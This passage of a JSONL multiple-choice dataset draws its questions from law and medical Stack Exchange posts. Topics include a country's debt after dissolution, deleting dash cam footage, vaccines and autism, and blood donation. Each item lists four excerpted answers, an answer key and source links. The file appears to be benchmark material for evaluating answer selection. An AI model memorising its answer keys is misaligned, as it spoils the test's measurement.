Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "You can file a federal criminal complaint under 18 USC 242 - Deprivation of rights under color of law , or (most commonly) a civil claim under 42 USC 1983 for the violation of your civil rights. There are usually state laws, from some form of harassment (usually a summary offense) to misdemeanors like the Official Oppression we have in Pennsylvania. Note that you can file these complaints even if they do find something incriminating. An illegal search is illegal regardless of its fruits."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/54807/do-the-police-have-to-kick-someone-out-the-house-if-the-owner-demands-it"} {"id": "law_73444", "domain": "law", "question_title": "What happens to a country’s debt if the country ends?", "question_body": "Suppose a country either just calls it quits or is destroyed by war (for example, Yugoslavia or Czechoslovakia). If that country has a national debt, including both domestic and foreign lenders, what happens to the debt? I have read about countries going bankrupt and the complex and varied processes used to address this - but that isn’t what I’m asking about. Bankruptcy refers to a country that is unable to pay its debts but wants to continue existence, and therefore it has to find some path to resolving its financial situation. I’m asking about a country that is simply going out of existence.", "question_score": 34, "question_tags": ["international", "debt"], "choices": {"A": "If the country was defeated in war, the bondholders often lose all their money. Sometimes, though, the conqueror has its own reasons to want the debt to be repaid. If the country came to an end through peaceful negotiation, the same negotiation would decide who becomes responsible for its debts. So, at the end of the U.S. Civil War, the United States declared that no one who had lent the Confederacy money to fight them was ever going to get any of it back. It even amended the Constitution (Amendment XIV, Section 4) to say that [N]either the United States...", "B": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "C": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across...", "D": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/73444/what-happens-to-a-country-s-debt-if-the-country-ends"} {"id": "law_73571", "domain": "law", "question_title": "If I cause a crash can I delete my dash cam footage?", "question_body": "If I am driving a car and get into a crash that is 100% my fault can I rip my dash cam down and delete the footage or completely refuse to give the footage to anyone or am I legally required to provide that footage?", "question_score": 34, "question_tags": ["accident", "accident-insurance"], "choices": {"A": "As an example, under the laws of Colorado, USA, deleting the footage would be a crime. See CRS 18-8-610 : A person commits tampering with physical evidence if, believing that an official proceeding is pending or about to be instituted and acting without legal right or authority, he: (a) Destroys, mutilates, conceals, removes, or alters physical evidence with intent to impair its verity or availability in the pending or prospective official proceeding; If you cause a crash, you should certainly believe that you are going to be sued, and a lawsuit is definitely an official proceeding. And it sounds like...", "B": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "C": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between...", "D": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/73571/if-i-cause-a-crash-can-i-delete-my-dash-cam-footage"} {"id": "law_84309", "domain": "law", "question_title": "Can Prince Harry wear the uniforms of his former units?", "question_body": "It's been in the news recently that Prince Harry has been banned from wearing a military uniform at the events surrounding the late Queen's funeral, since he was stripped of his honorary military titles when he stopped being a working royal. However, he is a veteran who served ten years in the British military and was deployed to Afghanistan. Why can't he wear the uniform of his former rank and unit in his capacity as a retired officer, rather than wearing the uniform of his (now removed) honorary titles in his capacity as a member of the Royal Family?", "question_score": 34, "question_tags": ["united-kingdom", "military"], "choices": {"A": "By Army regulations, no, he's not allowed to wear that uniform. Prince Harry technically isn't a \"retired officer\". Rather, he resigned his commission in the Army, effective 19 June 2015. See the London Gazette for 11 August 2015, Supplement 61319, page 14838 , under \"Captain H. C. A. D. WALES 564673\". According to the Army Dress Regulations 02.45a (page 101 of the PDF), \"It is to be noted that those who resigned their commissions are not authorised to wear uniform under any circumstances.\" Moreover, under the Uniforms Act 1894 : (1)It shall not be lawful for any person not serving...", "B": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45...", "C": "Parliamentary Supremacy was established by the Glorious Revolution of 1688 in which James II & VII was deposed by Parliament, and the line of succession was changed by Act of Parliament to favor William and Mary. Key laws passed during the aftermath of the Revolution included the Declaration of Right (which forbade keeping a standing army without Parliamentary consent, and put control of the military in Parliament), and the Coronation Oath Act 1688 which established in law obligations of the monarch. Since 1688 it has remained the governing principle of English (later British and UK) law that ultimate authority lies...", "D": "Trespass to land in most instances is a civil matter, and as such the police do not have the power to assist. Initially, the landowner should ask the trespasser to leave the land and if he/she does then all is well. If he/she refuses to leave the land then you will need to consider taking civil action. It could be dangerous for the landowner to try to remove the trespasser themselves. The owner of the land could commit several criminal offences if he forcibly removes the trespasser and his/her property from the land. The best and safest course of action..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/84309/can-prince-harry-wear-the-uniforms-of-his-former-units"} {"id": "law_89019", "domain": "law", "question_title": "At what point is it "legal" to overthrow the government?", "question_body": "It has been argued that the point of the 2nd amendment is to overthrow a tyrannical government. In the Declaration it states that “whenever any Form of Government becomes destructive of these ends, it is the Right of the People to alter or to abolish it, and to institute new Government.” At what point \"Legally\", are we allowed to overthrow the government?", "question_score": 34, "question_tags": ["united-states", "us-constitution"], "choices": {"A": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "B": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "C": "I believe you have just misunderstood what you paid for. Blizzard's End User License Agreement says: Your use of the Platform is licensed, not sold, to you, and you hereby acknowledge that no title or ownership with respect to the Platform or the Games is being transferred or assigned and this Agreement should not be construed as a sale of any rights. It also says: Blizzard may change, modify, suspend, or discontinue any aspect of the Platform or Accounts at any time, including removing items, or revising the effectiveness of items in an effort to balance a Game. Blizzard may...", "D": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/89019/at-what-point-is-it-legal-to-overthrow-the-government"} {"id": "law_104572", "domain": "law", "question_title": "Service refuses to accept cash; is this misleading "convenience fee" legal?", "question_body": "A service advertises a price of $12. When the customer tries to pay, the service provider adds a $2.50 convenience fee for using a debit or credit card and refuses to take any other form of payment. The $12 price was posted, as was the convenience fee. But is it legal for them to say something costs $12 if there is literally no way to get it for that price? ETA: This was an in-person purchase. And yes, I asked to pay in cash and was refused.", "question_score": 34, "question_tags": ["united-states", "commerce", "fees", "false-advertising"], "choices": {"A": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower...", "B": "united-states I think this may be legal at the moment. In October 2023, the FTC announced a proposed rule to prohibit \"junk fees\" that are not disclosed upfront. They held an unformal hearing on this in April 2024. But as far as I've been able to tell, this new rule has not yet been enacted. So \"surprise\" fees at checkout time are still legal.", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "D": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/104572/service-refuses-to-accept-cash-is-this-misleading-convenience-fee-legal"} {"id": "law_11912", "domain": "law", "question_title": "What are the rules on businesses that wish to only hire attractive females?", "question_body": "Many businesses feature beautiful female employees as part of their business plan and service offering. Examples include: Hooter's waitresses Sportclips stylists A small chain of drive-thru smoothies in my area that feature bikini clad hotties with whom you can purchase a photo Most all entertainment jobs I am considering buying a franchise that falls into one of these categories and I just wanted to understand the legality of hiring only attractive women. Is it sexual discrimination or just a legitimate hiring practice, since offering attractive female employees is part of the business strategy? I'm in Maryland, USA in case that matters, but I'm looking for kind of a high level, general answer that might apply to anyone in the US.", "question_score": 33, "question_tags": ["united-states", "employment", "workplace", "bfoq"], "choices": {"A": "There is a good answer at the Skeptics StackExchange here . Its three most relevant references are: 42 U.S.C. Chapter 21 , especially Subchapter VI (applies only to employers with fifteen or more employees every day in at least 20 calendar weeks in a year) An example case, Wilson v. Southwest Airlines Co. 517 F. Supp. 292 (N.D. Tex. 1981) Katie Manley, The BFOQ Defense: Title VII’s Concession to Gender Discrimination , 16 Duke Journal of Gender Law & Policy 169-210 (2009) Wilson v Southwest held that being attractive and female is not a Bona Fide Occupational Qualification (BFOQ) for...", "B": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "C": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out...", "D": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/11912/what-are-the-rules-on-businesses-that-wish-to-only-hire-attractive-females"} {"id": "medicine_26", "domain": "medicine", "question_title": "Is there any health risk in cellular phones?", "question_body": "Cellular phones are taking ever increasing part in our lives, and I keep hearing people saying they are harmful to our health. Are there any scientific researches so far proving or disproving those claims? I found couple of semi-scientific articles: Is there any link between cellphones and cancer? which says: The possible connection between cellphones and cancer is controversial. Many years' worth of studies on cellphones and cancer have yielded conflicting results ... In one study that followed more than 420,000 cellphone users over a 20-year period, researchers found no evidence of a link between cellphones and brain tumors ... Another recent study suggested a possible increased risk of glioma — a specific type of brain tumor — for the heaviest cellphone users, but no increase in brain tumor risk overall. Long-term Cell Phone Use Linked to Brain Tumor Risk which says: Long-term use of both mobile and cordless phones is associated with an increased risk for glioma, the most common type of brain tumor, the latest research on the subject concludes. The new study shows that the risk for glioma was tripled among those using a wireless phone for more than 25 years and that the risk was also greater for those who had started using mobile or cordless phones before age 20 years. Though the second appears to conclude direct health risk, I'm pretty sure it's not yet any hard proof otherwise we would have seen huge lawsuits being filed all over the place. If really harmful, what factors are in place e.g. cellular phone model, signal strength, etc?", "question_score": 53, "question_tags": ["cancer", "brain", "cellular-phone", "bioelectromagnetics", "health-outcomes"], "choices": {"A": "The IARC has concluded that cell phones are a \"possible carcinogen\" due to the amount of evidence going both directions. The gist of it is summarised on the website itself: Cell phones emit radiofrequency energy, a form of non-ionizing electromagnetic radiation, which can be absorbed by tissues closest to where the phone is held. The amount of radiofrequency energy a cell phone user is exposed to depends on the technology of the phone, the distance between the phone’s antenna and the user, the extent and type of use, and the user’s distance from cell phone towers. Studies thus far have...", "B": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,...", "C": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "D": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/26/is-there-any-health-risk-in-cellular-phones"} {"id": "medicine_2", "domain": "medicine", "question_title": "What are these lines in teeth?", "question_body": "The following tooth cracks are noticeable when a torch is shining on them (without the torch, they aren't visible). Are they serious? How viable are the teeth, and might they need to be replaced with false teeth in the near future? There is no pain experienced, but they seem to look quite bad:", "question_score": 43, "question_tags": ["dentistry"], "choices": {"A": "Drug molecules, even when stored safely inside a tablet\\capsule, inside a closed container, upon a high shelf (hopefully), are still exposed to the environment, and are thus exposed to all of the chemical processes and reactions that go about all around us (to name just a few - oxidation, hydrolysis, isomerization, polymerization, and more). Depending on the type of drug molecule and its functional groups, the molecule may undergo all kinds of chemical processes that may change its structure and\\or properties. Therefore, drugs (and foodstuffs, as mentioned in the comment above) degrade and decompose over time, and are thus given...", "B": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be...", "C": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "D": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition...."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/2/what-are-these-lines-in-teeth"} {"id": "medicine_357", "domain": "medicine", "question_title": "Do vaccines cause autism?", "question_body": "It seems the question of vaccine harm has been around at least as long as vaccines 1 . Specifically, the claim that vaccines can cause or contribute to autism has been hotly debated in the last decade. Many claim that there is a dangerous (possibly hidden) link. What is the current state of medical research on this topic? Could there be a conspiracy in the pharmaceutical industry to cover up a link?", "question_score": 41, "question_tags": ["vaccination", "autism"], "choices": {"A": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be...", "B": "This has been a controversial dispute for a long time and it can involve a lot of personal opinion, but I will try to answer this as scientifically as possible. There hasn't been any viable evidence that vaccines do cause autism. Several different theories have been proposed on why vaccines could cause autism, such as the ingredient in some vaccines thimerosal being harmful, but these have all been disproved by many different experiments. Many reliable sources such as the CDC 1 says that there is no link between autism an vaccines. A 2011 report 2 from the Institute of Medicine...", "C": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with...", "D": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ...."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/357/do-vaccines-cause-autism"} {"id": "medicine_13", "domain": "medicine", "question_title": "Are there any health benefits to male circumcision?", "question_body": "It's been argued by various medical organizations that male circumcision has various medical benefits, such as reducing the risk of catching HIV, or reducing the risk of urinary tract infections, for instance. Are there any respectable scientific studies to back these assertions up?", "question_score": 40, "question_tags": ["urology"], "choices": {"A": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "B": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,...", "C": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors....", "D": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/13/are-there-any-health-benefits-to-male-circumcision"} {"id": "medicine_735", "domain": "medicine", "question_title": "Is it helpful to a dentist to report pain during a procedure?", "question_body": "Suppose that a dentist is doing a standard dental procedure, e.g. drilling out decay, on me, and I start feeling pain as he does it. Assuming that I can handle the pain silently, so I don't need to report it for my own sake, is it at all helpful to the dentist's work for me to report it? Is this feedback that the dentist can use to detect issues with the actual work as he goes along, or would the only purpose of reporting it be to try to get him to do something to mitigate it, for the sake of my immediate experience? (Note: I'm using \"me\" as a stand-in for a typical patient.)", "question_score": 40, "question_tags": ["pain", "dentistry"], "choices": {"A": "The seasonal coronaviruses attach exclusively to cells with a ciliated epithelium. Coronaviruses invade the respiratory tract via the nose. After an incubation period of about 3 days, they cause the symptoms of a common cold, including nasal obstruction, sneezing, runny nose, and occasionally cough (Figs. 60-1 and 60-2). The disease resolves in a few days, during which virus is shed in nasal secretions. There is some evidence that the respiratory coronaviruses can cause disease of the lower airways but it is unlikely that this is due to direct invasion. Other manifestations of disease such as multiple sclerosis have been attributed...", "B": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,...", "C": "This has been a controversial dispute for a long time and it can involve a lot of personal opinion, but I will try to answer this as scientifically as possible. There hasn't been any viable evidence that vaccines do cause autism. Several different theories have been proposed on why vaccines could cause autism, such as the ingredient in some vaccines thimerosal being harmful, but these have all been disproved by many different experiments. Many reliable sources such as the CDC 1 says that there is no link between autism an vaccines. A 2011 report 2 from the Institute of Medicine...", "D": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/735/is-it-helpful-to-a-dentist-to-report-pain-during-a-procedure"} {"id": "medicine_1276", "domain": "medicine", "question_title": "What is excess blood from blood donations used for, and do we ever run out?", "question_body": "I regularly donate blood, however, I am curious as to what happens to my blood after I donate. Obviously some of it will go to people in emergency medical situations, as I intend. However, I have never heard of situations where someone died because we didn't have blood to donate to them; which makes it sound as if we don't have a blood deficit. That in turn makes me wonder what the excess blood is used for. So I have two related questions. First, do we ever have a blood deficit, situations where someone who could have been saved in a hospital dies because there wasn't blood to treat them? Or specifically situations like that caused by a lack of donors, not some logistical issue getting it where it needs to be. I have had the red cross call me and tell me that they have a 'deficit' many times, but frankly I hear it so often it leaves me questioning their definition of deficit. How often do we really run out? Related, if we don't run a deficit then what happens to my excess blood? I assume that some blood is regularly thrown out, but they figure it's better to have extra and risk it expiring then to run out during an emergency. However, if we have a high enough surplus do they do something else with it? For instance is it used for medical research? If we had say 5% fewer donors would it be our medical research which suffered, but not patients in the hospital? I will continue donating blood regardless of the answer here. I'm simply curious as to the result. Well that and it informs this discussion: https://skeptics.stackexchange.com/questions/28118/is-the-red-cross-policy-of-refusing-donation-from-homosexual-men-justified-by-in", "question_score": 39, "question_tags": ["blood"], "choices": {"A": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,...", "B": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "C": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,...", "D": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1276/what-is-excess-blood-from-blood-donations-used-for-and-do-we-ever-run-out"} {"id": "medicine_20970", "domain": "medicine", "question_title": "Does COVID-19 have a case fatality rate of 41%? Is this formula correct?", "question_body": "According to the data on the Johns Hopkins Coronavirus Tracker , as of 3rd February 2020 there were 17491 confirmed cases of COVID-19 globally, 536 total recoveries and 362 deaths. From my non-expert calculation this implies a mortality rate of: (Nd / (Nd + Nr)) * 100 = 41% where: Nd is the total number of deaths, Nr is the total number of full recoveries. This leaves 16593 people still suffering from the disease who have neither recovered or died. This is in stark contrast to the publicly disseminated value of ~2% mortality, so have I made a mistake in my calculation or assumptions, or is COVID-19 much more dangerous than commonly claimed? [After a helpful discussion in the comments, 'mortality rate' is not the correct term to use here, instead I should say ' Case Fatality Ratio '.]", "question_score": 35, "question_tags": ["virus", "infectious-diseases", "death", "covid-19"], "choices": {"A": "This event occurred in the US. In the US, enzootic (dog-to-dog) canine rabies virus has been virtually eliminated through vaccination and stray control programs, making wild animals the primary concern. It is quite true, as @EMT_Jedi stated, that rabies is usually caused by an animal's saliva, usually introduced by a bite (e.g. rabid cats, raccoons, etc.) However, this is not true of bat-related rabies. There is reason to be vaccinated after any strange contact with a bat. The most dangerous and common route of rabies exposure is from the bite of a rabid mammal. An exposure to rabies also might...", "B": "Let's get a few things out of the way... Sex is 